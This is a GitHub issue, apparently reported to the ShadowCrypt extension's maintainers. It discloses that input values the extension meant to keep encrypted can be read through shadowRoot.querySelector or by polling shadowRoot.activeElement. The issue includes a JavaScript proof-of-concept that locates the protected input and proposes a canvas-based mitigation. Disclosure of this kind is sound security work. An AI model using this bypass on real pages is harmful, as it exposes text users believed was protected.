Skip to content

Unencrypted value can be accessed with element.shadowRoot.querySelector or element.shadowRoot #8

@dzfranklin

Description

@dzfranklin

I put a proof-of-concept at http://s.codepen.io/danielzfranklin/debug/YwvVVP.

If the browser supports it, element.shadowRoot.querySelector can be used to access the underlying element. It works in Chrome 48 but does not appear to be in the W3C standard. Otherwise, element.shadowRoot.activeElement can be polled until the input field is clicked on, activeElement is standardized in the spec at http://w3c.github.io/webcomponents/spec/shadow/#the-shadowroot-interface

if var input = [an input element secured by shadowcrypt] the following code will try both methods to get the contents of the shadow input.

function found_shadow_input(shadow_input){
    // Do whatever on the DOM node of the shadow_input
    // attach listeners, log the value, etc.
}

function break_into_shadowroot(){
    if(input.shadowRoot.querySelector){
        // find using querySelector
        found_shadow_input(input.shadowRoot.querySelector("input.delegate"));
        console.log("found using querySelector");
    }
    else{
        // poll activeElement until the user clicks on the input
        var shadow_input_searcher = setInterval(function(){
            var potential_elem = input.shadowRoot.activeElement;

            if(potential_elem && potential_elem.nodeName === "INPUT" && potential_elem.classList.contains("delegate")){
                clearInterval(shadow_input_searcher);
                found_shadow_input(potential_elem);
                console.log("found using activeElement");
            }
        }, 10);
    }
}

if(input.shadowRoot){
    break_into_shadowroot();
}
else{
    // if the extension hasn't loaded yet we may need to wait a few milliseconds
    var shadowroot_check_interval = setInterval(function(){
        if(input.shadowRoot){
            clearInterval(shadowroot_check_interval);
            break_into_shadowroot();
        }
    }, 10)
}

element.shadowRoot.querySelector is read-only so you can't monkeypatch it to fix this. What you use something else instead of an input element? A span could have its contents accessed with .innerHTML, but a dirty canvas can't be read off of. If you watched for keypresses and wrote them to a canvas if they were alphanumeric/symbols, moved a fake blinking cursor on arrow key press, moved the cursor on mouse click, and deleted letters on delete key press you could create a custom input element. If a clear pixel from a different domain was written in a corner, the canvas couldn't be read off of.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions